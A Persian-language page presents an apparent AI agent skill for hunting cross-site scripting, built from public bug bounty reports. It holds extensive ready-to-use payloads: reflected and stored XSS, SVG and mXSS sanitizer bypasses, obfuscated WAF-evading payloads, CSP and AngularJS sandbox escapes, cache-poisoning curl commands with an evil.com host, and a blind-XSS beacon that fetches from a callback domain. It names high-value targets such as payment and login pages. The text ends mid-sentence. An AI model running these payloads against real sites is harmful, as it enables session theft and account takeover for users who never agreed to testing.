hunt-xss

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۷۴۲۹ کیلوبایت۱۲ بخش

اسکیل کلاس آسیب‌پذیری برای XSS — استخراج‌شده از ۱۷۴ گزارش عمومی باگ‌بانتی. برای تزریق markup که HTML خام را برمی‌گرداند اما JavaScript را اجرا نمی‌کند، از hunt-html-injection استفاده کن؛ وقتی اجرای اسکریپت ممکن شد به این‌جا ارتقا بده.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use when hunting xss on any target. For markup injection that reflects raw HTML but does NOT execute JavaScript (no `<script>`/event-handler execution), see hunt-html-injection — escalate here once script execution is possible.

فلوی اجرای گام‌به‌گام

◆
hunt-xssشروع اجرا
۱
همه‌ی نقاط reflection را نقشه کن — تارگت را Spider کن و هر جایی که ورودی کاربر در خروجی HTML ظاهر می‌شود پیدا کن. اولویت: پارامترهای URL، فیلدهای فرم، هدرهای HTTP (User-Agent، Referer)، نام/محتوای فایل آپلودی و فیلدهای پاسخ API که در UI رندر می‌شوند.
۲
بر اساس نوع دسته‌بندی کن — مشخص کن هر reflection از نوع Reflected (پارامتر URL ← پاسخ)، Stored (دیتابیس ← رندر بعدی) یا DOM-based (JS از URL/storage می‌خواند ← DOM sink) است. هرکدام تحویل payload متفاوتی می‌خواهند.
۳
رفتار sanitizer را probe کن — اول رشته‌های canary بی‌ضرر بفرست: `aaa"bbb'ccc<ddd` تا مشخص شود کدام کاراکترها escape می‌شوند. ببین خروجی در context مربوط به HTML، attribute، JS یا URL است.
۴
ترکیب‌های تگ allowlist را تست کن — اگر sanitizer فعال است، ترکیب‌های تگ خطرناک را probe کن: `<math>+<style>`، `<svg>+<style>`، `<iframe srcdoc>`، `<style>` با expressionها.
۵
بردارهای SVG و آپلود فایل را شکار کن — فایل‌های SVG حاوی تگ `<script>` آپلود کن. هدر Content-Type پاسخ را چک کن. ببین آیا CSP جداگانه روی پاسخ‌های SVG اعمال می‌شود.
۶
رندرکننده‌های markdown/مستندات را تست کن — در فیلدهای wiki، README یا doc امتحان کن: `text)`، تزریق HTML inline، payloadهای Kroki/Mermaid، و سینتکس `link:javascript:` در RDoc.
۷
؟ تصمیمپارامترهای redirect را چک کن — `?redirect=javascript:alert(1)` و `?return_url=//evil.com` را تست کن — دنبال XSS تک‌کلیک از sanitization ناقص redirect بگرد.
۸
پارامترهای UTM و تحلیل را probe کن — `utm_source`، `utm_medium`، `utm_campaign` اغلب روی صفحات مارکتینگ بدون sanitization بازتاب می‌شوند.
۹
فرصت‌های دورزدن CSP را تست کن — اگر CSP هست دنبال: endpointهای JSONP روی دامنه‌های مجاز، `unsafe-inline` در style-src، SVG که script-src را دور می‌زند، و script gadgetهای روی CDNهای whitelist‌شده بگرد.
۱۰
XSS ذخیره‌شده در فیلدهای پروفایل/metadata را امتحان کن — username، bio، نام tagها، رنگ labelها، نام سازمان — این‌ها در contextهای زیادی رندر می‌شوند و معمولاً validation ضعیف‌تری دارند.
۱۱
cache poisoning را بررسی کن — تست کن آیا payloadهای reflected می‌توانند cache و به کاربران دیگر سرو شوند (مخصوصاً روی صفحات پشت CDN)، که reflected را به معادل stored تبدیل می‌کند.
۱۲
در مرورگر هدف اعتبارسنجی کن — همیشه پیش از گزارش در مرورگر واقعی تأیید کن. خیلی payloadها در Burp برمی‌گردند ولی به‌خاطر CSP، output encoding، auto-escaping فریم‌ورک، ناسازگاری context، نرمال‌سازی WAF یا تفاوت HTML-parsing مرورگر اجرا نمی‌شوند. (نکته: XSS Auditor کروم در Chrome 78 حذف شد و هیچ مرورگر فعلی چنین چیزی ندارد — شکست PoC را هرگز به «XSS auditor» نسبت نده.)
۱۳
مهاجم همین حالا چه کاری می‌تواند انجام دهد؟
۱۴
قربانی چه چیزی از دست می‌دهد؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۴ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-xssکلاس آسیب‌پذیری · ۱۲ بخش۱بخش تکمیلی۲اهداف ارزشمند۳دروازه‌ی اعتبارسنجی۴سطح حمله و سیگنال‌ها۵مراحل شکار۶Payload و الگوهای تشخیص۷علل ریشه‌ای۸تکنیک‌های Bypass۹دروازه‌ی اعتبارسنجی۱۰اهداف ارزشمند۱۱زنجیره‌ها و ترکیب‌ها۱۲دروازه‌ی اعتبارسنجی
بخش تکمیلی · ۱اهداف ارزشمند · ۲دروازه‌ی اعتبارسنجی · ۴سطح حمله و سیگنال‌ها · ۱Payload و الگوهای تشخیص · ۲علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

پیش از ادعای XSS، reflection را تأیید کن — همه‌چیز به encoding بستگی دارد.

payload تو باید با angle bracketهای escapeنشده در body پاسخ ظاهر شود. <script> یعنی XSS. &lt;script&gt; یعنی encoding امن — آسیب‌پذیر نیست.

در payload اثبات از یک CANARY عددی یکتا استفاده کن — مثلاً <script>alert(91234)</script> یا "><img src=x onerror=alert(91234)>. یک عدد متمایز ۴+ رقمی انتخاب کن، نه alert(1). صفحات تمرینی پر از payloadهای نمونه مثل alert(1)/alert('XSS') در متن راهنمایی‌اند؛ عدد یکتا تنها راه تشخیص payload بازتابی تو از مثال‌های فریب صفحه است. اثبات = ظاهرشدن alert(<canary>) تو با angle bracketهای خام و escapeنشده در پاسخ.

این contextها را به همین ترتیب امتحان کن:

  1. تزریق inline به script (وقتی context HTML تگ جدید می‌پذیرد):
<script>alert(CANARY)</script>

هر رشته‌ی canaryای که قرارداد اثباتت مشخص کرده استفاده کن. وقتی <script>alert(CANARY) به‌صورت تحت‌اللفظی (بدون HTML-encode) در پاسخ ظاهر شود تأیید شده است.

  1. تزریق event attribute (وقتی < فیلتر است ولی attributeها تزریق‌پذیرند):
" onmouseover="alert(CANARY)
" onerror="alert(CANARY)
" onload="alert(CANARY)
  1. context مربوط به URL/href:
javascript:alert(CANARY)

تشخیص موفقیت از شکست:

  • آسیب‌پذیر: پاسخ حاوی <script>alert( به‌صورت escapeنشده است — مرورگر آن را اجرا می‌کند
  • فیلترشده/امن: پاسخ حاوی &lt;script&gt; یا &#x3C;script&#x3E; است — encode صحیح انجام شده
  • بلاک‌شده: پاسخ خطا است، یا مقدار بازتابی اصلاً وجود ندارد

برای stored XSS: در فیلدی تزریق کن که صفحات دیگر نمایشش می‌دهند (کامنت‌ها، نام‌های کاربری، عنوان تیکت‌ها). بعد صفحه‌ی رندرکننده را fetch کن و payload escapeنشده را بررسی کن. payload وقتی هر کاربری آن صفحه را ببیند اجرا می‌شود — شدت بالاتر از reflected است.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

XSS وقتی باارزش است که context دارای امتیاز + تحویل ماندگار + گسترش scope را ترکیب کند. بیشترین payoutها از این‌ها می‌آید:

  • پنل‌های admin و داشبوردهای احراز هویت‌شده (مثل */admin، */settings) — مهاجم می‌تواند sessionهای با امتیاز بالا را ربوده، توکن‌ها را بیرون کشد یا به تسخیر حساب pivot کند
  • فلوهای پرداخت/مالی (paypal.com، صفحات checkout، مبدل ارز) — XSS این‌جا یعنی برداشت credential و کلاهبرداری مالی در مقیاس
  • XSS ذخیره‌شده در قابلیت‌های مشارکتی (wikiها، رندرکننده‌های markdown، issue trackerها، RDoc، labelها، tagها) — یک payload همه‌ی بیننده‌ها را آلوده می‌کند و impact را چند برابر می‌کند
  • صفحات SSO/ورود (مثل paypal.com/signin) — XSS این‌جا critical است چون می‌تواند توکن‌های auth کل پلتفرم را بدزدد
  • سطوح مشترک tenantهای SaaS (*.myshopify.com، api.collabs.*) — XSS در context یک tenant می‌تواند به مرزهای tenant دیگر نشت کند
  • سایت‌های help/مستندات (help.shopify.com) — هرکدام به‌تنهایی شدت کمتری دارند ولی معمولاً sanitization شل‌تری و اعتماد کاربر بالاتری دارند
  • endpointهای آپلود SVG/فایل — غالباً همزمان CSP و sanitization را دور می‌زنند

انواع asset که بیشتر پول می‌دهند: دامنه‌ی اصلی محصول > ساب‌دامین‌های admin > endpointهای API > سایت‌های مارکتینگ/help

۳

دروازه‌ی اعتبارسنجی

OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

برای XSS نابینا (blind) و ذخیره‌شده (stored) — ادعا به تأیید خارج‌باند (out-of-band) نیاز دارد، دقیقاً مثل SSRF نابینا. گیرنده‌ی OOB وقتی فایر می‌شود که payload واقعاً در جایی در یک مرورگر اجرا شود (ادمینی که لاگ را بازبینی می‌کند، تحلیل‌گر SOC که تیکت را باز می‌کند، ایمیلی که payload ذخیره‌شده را رندر می‌کند).

چه چیزی تأیید نیست
  • ‏request validator دات‌نت < تو را رد کرد و status code متفاوتی برگرداند ← XSS نیست، noise مربوط به WAF است.
  • ‏payload تو در body پاسخ به‌صورت URL-encoded یا HTML-encoded ظاهر شد ← XSS نیست، encoding خروجی درست کار کرده.
  • ‏attribute مربوط به action فرم رشته‌ی payload تو را به‌شکل %22onclick%3D… دارد ← XSS نیست، مرورگر URL-encoding را داخل مقدار attributeهای HTML رمزگشایی نمی‌کند؛ %22 همان %22 تحت‌اللفظی در DOM می‌ماند.
  • ‏تگ <script> تو در پاسخ به‌صورت &lt;script&gt; آمده ← XSS نیست، escaping است.
چه چیزی تأیید است
  • ‏requestی به ساب‌دامین یکتای Collaborator تو (مثل bxss-err-<random>.<collab>.oastify.com) بعد از ذخیره/بازتاب/صف‌بندی payload به listener مربوط به OOB برسد.
  • ‏برای stored XSS: request ساعت‌ها یا روزها بعد وقتی ادمین منبع آسیب‌دیده را می‌بیند می‌رسد. payloadها را زود در engagement بکار و listener را باز نگه دار.
  • ‏User-Agent مربوط به request فایرشده یک مرورگر است (Mozilla/Chrome)، نه HTTP client بک‌اند خود سرور.
کجا beaconهای blind-XSS بکاری

هر فیلدی که مقدارش ممکن است بعداً در UI ادمین / log viewer / ایمیل / گزارش دیده شود:

  • ‏پیام‌های خطا (?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
  • ‏پارامترهای مبدأ فلو auth (?Source=، ?ReturnUrl=)
  • ‏فیلد username فرم ورود (ادمین ممکن است audit log ورودهای ناموفق را ببیند)
  • ‏هدر User-Agent (بعضی کنسول‌های SOC مقدار UA را به‌صورت HTML رندر می‌کنند)
  • ‏هدر Referer (بعضی داشبوردهای تحلیل Referer را HTML رندر می‌کنند)
  • ‏نشانی ایمیل در فرم‌های ثبت‌نام/تماس
  • ‏نام فایل‌ها هنگام آپلود

همیشه ساب‌دامین Collaborator را بر اساس sink ساب‌تگ کن تا callback مشخص کند کدام فیلد فایر کرده.

درس از یک engagement مجاز: ۱۰ beacon مربوط به blind-XSS در ErrorMessage، Source، فیلد username در Authentication.asmx، هدر User-Agent، هدر Referer و مسیرهای request کار گذاشته شد. صفر callback در پنجره‌ی polling ده‌دقیقه‌ای. نتیجه‌گیری: SOC مربوط به SharePoint لاگ/خطاها را در ابزاری می‌بیند که HTML رندر نمی‌کند، و request validator دات‌نت کاراکتر < را در query string پیش از رسیدن payload به storage بلاک می‌کند. ادعای stored-XSS درست پس گرفته شد.

مراحل استخراج‌شده
  1. ۱‏request validator دات‌نت `<` تو را رد کرد و status code متفاوتی برگرداند ← XSS نیست، noise مربوط به WAF است.
  2. ۲‏payload تو در body پاسخ به‌صورت URL-encoded یا HTML-encoded ظاهر شد ← XSS نیست، encoding خروجی درست کار کرده.
  3. ۳‏attribute مربوط به action فرم رشته‌ی payload تو را به‌شکل `%22onclick%3D…` دارد ← XSS نیست، مرورگر URL-encoding را داخل مقدار attributeهای HTML رمزگشایی نمی‌کند؛ `%22` همان `%22` تحت‌اللفظی در DOM می‌ماند.
  4. ۴‏تگ `<script>` تو در پاسخ به‌صورت `&lt;script&gt;` آمده ← XSS نیست، escaping است.
  5. ۵‏requestی به ساب‌دامین یکتای Collaborator تو (مثل `bxss-err-<random>.<collab>.oastify.com`) بعد از ذخیره/بازتاب/صف‌بندی payload به listener مربوط به OOB برسد.
  6. ۶‏برای stored XSS: request ساعت‌ها یا روزها بعد وقتی ادمین منبع آسیب‌دیده را می‌بیند می‌رسد. payloadها را زود در engagement بکار و listener را باز نگه دار.
  7. ۷‏User-Agent مربوط به request فایرشده یک مرورگر است (Mozilla/Chrome)، نه HTTP client بک‌اند خود سرور.
  8. ۸‏پیام‌های خطا (`?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>`)
  9. ۹‏پارامترهای مبدأ فلو auth (`?Source=`، `?ReturnUrl=`)
  10. ۱۰‏فیلد username فرم ورود (ادمین ممکن است audit log ورودهای ناموفق را ببیند)
  11. ۱۱‏هدر `User-Agent` (بعضی کنسول‌های SOC مقدار UA را به‌صورت HTML رندر می‌کنند)
  12. ۱۲‏هدر `Referer` (بعضی داشبوردهای تحلیل Referer را HTML رندر می‌کنند)
  13. ۱۳‏نشانی ایمیل در فرم‌های ثبت‌نام/تماس
  14. ۱۴‏نام فایل‌ها هنگام آپلود
۴

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

هدرهای پاسخ (سیگنال‌های دفاع ضعیف):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

الگوهای JS در سورس که DOM XSS را نشان می‌دهند:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

سیگنال‌های tech stack:

  • ‏اپ‌های Rails که از html_safe، raw، translate، Action Text یا helperهای sanitize در ActionView استفاده می‌کنند
  • ‏پایپ‌لاین‌های markdown گیت‌لب/گیت‌هاب (Banzai، Kramdown، RDoc، Kroki)
  • ‏اپلیکیشن‌هایی که آپلود یا رندر SVG می‌پذیرند
  • ‏سایت‌هایی که تگ style را در allowlist دارند
  • ‏endpointهای رندر دیاگرام Kroki/Mermaid/PlantUML
  • ‏لایه‌های cache جلوی صفحات احراز هویت‌شده (بردار cache poisoning)

۵

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. همه‌ی نقاط reflection را نقشه کن — تارگت را Spider کن و هر جایی که ورودی کاربر در خروجی HTML ظاهر می‌شود پیدا کن. اولویت: پارامترهای URL، فیلدهای فرم، هدرهای HTTP (User-Agent، Referer)، نام/محتوای فایل آپلودی و فیلدهای پاسخ API که در UI رندر می‌شوند.
  1. بر اساس نوع دسته‌بندی کن — مشخص کن هر reflection از نوع Reflected (پارامتر URL ← پاسخ)، Stored (دیتابیس ← رندر بعدی) یا DOM-based (JS از URL/storage می‌خواند ← DOM sink) است. هرکدام تحویل payload متفاوتی می‌خواهند.
  1. رفتار sanitizer را probe کن — اول رشته‌های canary بی‌ضرر بفرست: aaa"bbb'ccc<ddd تا مشخص شود کدام کاراکترها escape می‌شوند. ببین خروجی در context مربوط به HTML، attribute، JS یا URL است.

انضباط مارکر: رشته‌های canary باید رشته‌های تصادفی و یکتای الفبایی-عددی باشند (۸+ کاراکتر، بدون کلمه‌ی انگلیسی، بدون کلیدواژه‌ی پروتکل). مارکرهای بد: test، marker، evil، attacker، payload، javascript، script. مارکرهای خوب: cpmark987abc، x4hd2k9pq، __ZZ_MARKER_<random>_ZZ__. پیش از ادعای reflection، پاسخ baseline (بدون مارکر) را برای مارکر جست‌وجو کن — اگر به‌صورت طبیعی در صفحه هست (مثل کلمه‌ی javascript که در href لینک‌های راهنمای هر صفحه است)، تله‌ی false-positive است و مارکر دیگری لازم داری. همین یک بررسی ۸۰٪ گزارش‌های reflection کاذب را می‌گیرد.

  1. ترکیب‌های تگ allowlist را تست کن — اگر sanitizer فعال است، ترکیب‌های تگ خطرناک را probe کن: <math>+<style>، <svg>+<style>، <iframe srcdoc>، <style> با expressionها.
  1. بردارهای SVG و آپلود فایل را شکار کن — فایل‌های SVG حاوی تگ <script> آپلود کن. هدر Content-Type پاسخ را چک کن. ببین آیا CSP جداگانه روی پاسخ‌های SVG اعمال می‌شود.
  1. رندرکننده‌های markdown/مستندات را تست کن — در فیلدهای wiki، README یا doc امتحان کن: [text](javascript:alert(1))، تزریق HTML inline، payloadهای Kroki/Mermaid، و سینتکس link:javascript: در RDoc.
  1. پارامترهای redirect را چک کن — ?redirect=javascript:alert(1) و ?return_url=//evil.com را تست کن — دنبال XSS تک‌کلیک از sanitization ناقص redirect بگرد.
  1. پارامترهای UTM و تحلیل را probe کن — utm_source، utm_medium، utm_campaign اغلب روی صفحات مارکتینگ بدون sanitization بازتاب می‌شوند.
  1. فرصت‌های دورزدن CSP را تست کن — اگر CSP هست دنبال: endpointهای JSONP روی دامنه‌های مجاز، unsafe-inline در style-src، SVG که script-src را دور می‌زند، و script gadgetهای روی CDNهای whitelist‌شده بگرد.
  1. XSS ذخیره‌شده در فیلدهای پروفایل/metadata را امتحان کن — username، bio، نام tagها، رنگ labelها، نام سازمان — این‌ها در contextهای زیادی رندر می‌شوند و معمولاً validation ضعیف‌تری دارند.
  1. cache poisoning را بررسی کن — تست کن آیا payloadهای reflected می‌توانند cache و به کاربران دیگر سرو شوند (مخصوصاً روی صفحات پشت CDN)، که reflected را به معادل stored تبدیل می‌کند.
  1. در مرورگر هدف اعتبارسنجی کن — همیشه پیش از گزارش در مرورگر واقعی تأیید کن. خیلی payloadها در Burp برمی‌گردند ولی به‌خاطر CSP، output encoding، auto-escaping فریم‌ورک، ناسازگاری context، نرمال‌سازی WAF یا تفاوت HTML-parsing مرورگر اجرا نمی‌شوند. (نکته: XSS Auditor کروم در Chrome 78 حذف شد و هیچ مرورگر فعلی چنین چیزی ندارد — شکست PoC را هرگز به «XSS auditor» نسبت نده.)
مراحل استخراج‌شده
  1. ۱همه‌ی نقاط reflection را نقشه کن — تارگت را Spider کن و هر جایی که ورودی کاربر در خروجی HTML ظاهر می‌شود پیدا کن. اولویت: پارامترهای URL، فیلدهای فرم، هدرهای HTTP (User-Agent، Referer)، نام/محتوای فایل آپلودی و فیلدهای پاسخ API که در UI رندر می‌شوند.
  2. ۲بر اساس نوع دسته‌بندی کن — مشخص کن هر reflection از نوع Reflected (پارامتر URL ← پاسخ)، Stored (دیتابیس ← رندر بعدی) یا DOM-based (JS از URL/storage می‌خواند ← DOM sink) است. هرکدام تحویل payload متفاوتی می‌خواهند.
  3. ۳رفتار sanitizer را probe کن — اول رشته‌های canary بی‌ضرر بفرست: `aaa"bbb'ccc<ddd` تا مشخص شود کدام کاراکترها escape می‌شوند. ببین خروجی در context مربوط به HTML، attribute، JS یا URL است.
  4. ۴ترکیب‌های تگ allowlist را تست کن — اگر sanitizer فعال است، ترکیب‌های تگ خطرناک را probe کن: `<math>+<style>`، `<svg>+<style>`، `<iframe srcdoc>`، `<style>` با expressionها.
  5. ۵بردارهای SVG و آپلود فایل را شکار کن — فایل‌های SVG حاوی تگ `<script>` آپلود کن. هدر Content-Type پاسخ را چک کن. ببین آیا CSP جداگانه روی پاسخ‌های SVG اعمال می‌شود.
  6. ۶رندرکننده‌های markdown/مستندات را تست کن — در فیلدهای wiki، README یا doc امتحان کن: `text)`، تزریق HTML inline، payloadهای Kroki/Mermaid، و سینتکس `link:javascript:` در RDoc.
  7. ۷پارامترهای redirect را چک کن — `?redirect=javascript:alert(1)` و `?return_url=//evil.com` را تست کن — دنبال XSS تک‌کلیک از sanitization ناقص redirect بگرد.
  8. ۸پارامترهای UTM و تحلیل را probe کن — `utm_source`، `utm_medium`، `utm_campaign` اغلب روی صفحات مارکتینگ بدون sanitization بازتاب می‌شوند.
  9. ۹فرصت‌های دورزدن CSP را تست کن — اگر CSP هست دنبال: endpointهای JSONP روی دامنه‌های مجاز، `unsafe-inline` در style-src، SVG که script-src را دور می‌زند، و script gadgetهای روی CDNهای whitelist‌شده بگرد.
  10. ۱۰XSS ذخیره‌شده در فیلدهای پروفایل/metadata را امتحان کن — username، bio، نام tagها، رنگ labelها، نام سازمان — این‌ها در contextهای زیادی رندر می‌شوند و معمولاً validation ضعیف‌تری دارند.
  11. ۱۱cache poisoning را بررسی کن — تست کن آیا payloadهای reflected می‌توانند cache و به کاربران دیگر سرو شوند (مخصوصاً روی صفحات پشت CDN)، که reflected را به معادل stored تبدیل می‌کند.
  12. ۱۲در مرورگر هدف اعتبارسنجی کن — همیشه پیش از گزارش در مرورگر واقعی تأیید کن. خیلی payloadها در Burp برمی‌گردند ولی به‌خاطر CSP، output encoding، auto-escaping فریم‌ورک، ناسازگاری context، نرمال‌سازی WAF یا تفاوت HTML-parsing مرورگر اجرا نمی‌شوند. (نکته: XSS Auditor کروم در Chrome 78 حذف شد و هیچ مرورگر فعلی چنین چیزی ندارد — شکست PoC را هرگز به «XSS auditor» نسبت نده.)
۶

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

probe کردن context پایه:

aaa"bbb'ccc<ddd>eee`fff

XSS بازتابی — baseline پارامتر URL:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)

escape از context مربوط به attribute:

" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)

مبتنی بر SVG (دورزدن CSP):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

دورزدن sanitizer — ترکیب math+style:

<math><style><img src=x onerror=alert(1)></style></math>

دورزدن sanitizer — ترکیب svg+style:

<svg><style><img src=x onerror=alert(1)></style></svg>

لینک javascript: در Markdown/RDoc:

[Click me](javascript:alert(document.domain))

تزریق Kroki/دیاگرام:

plantuml

@startuml

:<script>alert(1)</script>;

@enduml

DOM XSS از طریق hash/search:

// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'

الگوهای grep برای بازبینی سورس:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

curl برای تشخیص reflection:

curl -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"

تست cache poisoning:

# Send payload then fetch with clean session to see if cached
curl -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl -sk "https://target.com/page" | grep -i "evil.com"

۷

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. اعتماد به html_safe در Rails — توسعه‌دهندگان رشته‌ها را پس از sanitization ناقص safe علامت می‌زنند، یا .html_safe را روی داده‌ی کاربر بدون sanitization کامل زنجیره می‌کنند.
  1. sanitizerهای allowlist با ترکیب‌های تگ خطرناک — مجازکردن style کنار math یا svg فرصت mXSS (mutation XSS) می‌سازد حتی وقتی هر تگ به‌تنهایی بی‌ضرر به نظر برسد.
  1. پایپ‌لاین‌های رندر third-party — پایپ‌لاین‌های Markdown-to-HTML (Banzai، Kramdown، Kroki) وقتی موتورهای دیاگرام/رندر sandbox نشده‌اند و خروجی دوباره sanitize نمی‌شود، XSS وارد می‌کنند.
  1. بازتاب پارامترهای URL بدون encoding — پارامترهای UTM، URLهای redirect و عبارت‌های جست‌وجو بدون HTML-encoding درست در HTML یا JS صفحه بازتاب می‌شوند، مخصوصاً روی صفحات مارکتینگ/help که کم‌امنیت‌تر تلقی می‌شوند.
  1. رفتار با SVG به‌عنوان محتوای غیراسکریپتی — توسعه‌دهندگان CSP را روی پاسخ‌های HTML اعمال می‌کنند ولی فراموش می‌کنند پاسخ‌های image/svg+xml می‌توانند JavaScript اجرا کنند و اغلب تحت همان هدر CSP نیستند.
  1. patchهای ناقص sanitizer — sanitizerهای CVE-patch‌شده با تغییرات جزئی دور زده می‌شوند (فیکس ناقص CVE-2022-32209 نشان می‌دهد درست‌کردن منطق sanitizer دشوار است و زنجیره‌ی bypass می‌سازد).
  1. بلاک‌نشدن طرح javascript: در href/src — رندرکننده‌های لینک (RDoc، Markdown) نمی‌توانند URLهای javascript: را در attributeهای href بلاک کنند و با آن‌ها مثل لینک خارجی معتبر رفتار می‌کنند.
  1. لایه‌های cache که ورودی کاربر احراز هویت‌شده را نگه می‌دارند — cacheهای CDN یا reverse proxy پاسخ‌های حاوی payload کنترل‌شده‌ی کاربر را ذخیره و به کاربران بعدی سرو می‌کنند.
  1. آپلود فایل بدون اعمال Content-Type — پذیرفتن فایل‌های SVG یا HTML و سرو آن‌ها بدون اجبار Content-Disposition: attachment یا بازنویسی Content-Type.
  1. XSS از طریق helper ترجمه — helper مربوط به translate/t() در Rails رشته‌های ترجمه را HTML-safe علامت می‌زند و ورودی کاربر را درون‌گذاری می‌کند و تزریق از کلیدهای locale را ممکن می‌سازد.
۸

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دورزدن CSP:

  • ‏آپلودهای SVG مقدار script-src را دور می‌زنند چون پاسخ‌های image/svg+xml ممکن است CSP صفحه را به ارث نبرند
  • ‏endpointهای JSONP روی دامنه‌های whitelist‌شده پیدا کن (*.googleapis.com، *.cloudflare.com)
  • ‏از تزریق تگ <base> برای تغییرمسیر منبع اسکریپت‌ها استفاده کن
  • ‏unsafe-eval یا unsafe-inline در style-src را برای حملات مبتنی بر CSS بهره‌برداری کن
  • ‏gadgetهای <link rel=preload> یا <meta http-equiv> برای دورزدن policyهای سخت‌گیرانه

دورزدن sanitizer:

  • ‏mXSS (Mutation XSS): HTMLای تزریق کن که هنگام parse توسط sanitizer امن است ولی هنگام parse مجدد توسط مرورگر جهش پیدا می‌کند (مثل <math><style><img onerror=...>)
  • ‏حملات ترکیب تگ: <svg> + <style> یا <math> + <style> ابهام parsing می‌سازند
  • ‏تنوع کوتیشن attribute: onmouseover=alert(1) بدون کوتیشن، یا delimiterهای backtick
  • ‏encoding با HTML entity: &#106;avascript: یا &#x6A;avascript: در مقدار href
  • ‏تنوع پروتکل: javascript:، vbscript:، data:text/html

فرار از فیلتر:

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
<!-- Event handler alternatives -->
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

دورزدن WAF:

// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

دورزدن XSS مبتنی بر redirect:

?next=javascript://%0aalert(1)
?next=javascript&colon;alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>

تزریق template سمت کلاینت در AngularJS (CSTI) و فرار از sandbox:

  • ‏تشخیص: صفحه از AngularJS استفاده می‌کند (دنبال attributeهای ng-app/ng-controller، فایل angular.js/angular.min.js، یا درون‌گذاری {{ }} بگرد). یک پارامتر بازتابی را با {{7*7}} probe کن — اگر 49 رندر شد (نه متن تحت‌اللفظی)، مقدار به‌عنوان عبارت Angular ارزیابی می‌شود. همیشه ابزار browser را درگیر کن تا عبارت واقعاً ارزیابی شود.
  • ‏اجرای JS با فرار از sandbox (تکنیک به نسخه‌ی AngularJS بستگی دارد):
  • رایج: {{constructor.constructor('alert(1)')()}} یا {{$eval.constructor('alert(1)')()}}.
  • variant سخت — $eval در دسترس نیست و literalهای رشته‌ای ممنوع‌اند: String.prototype.charAt را بازنویسی کن (این بررسی‌های کاراکتر‌به‌کاراکتر sandbox را خنثی می‌کند)، بعد با فیلتر orderBy و String.fromCharCode کد JS را بدون هیچ کوتیشنی بساز. ساختار payload (placeholderها را خودت پر کن):
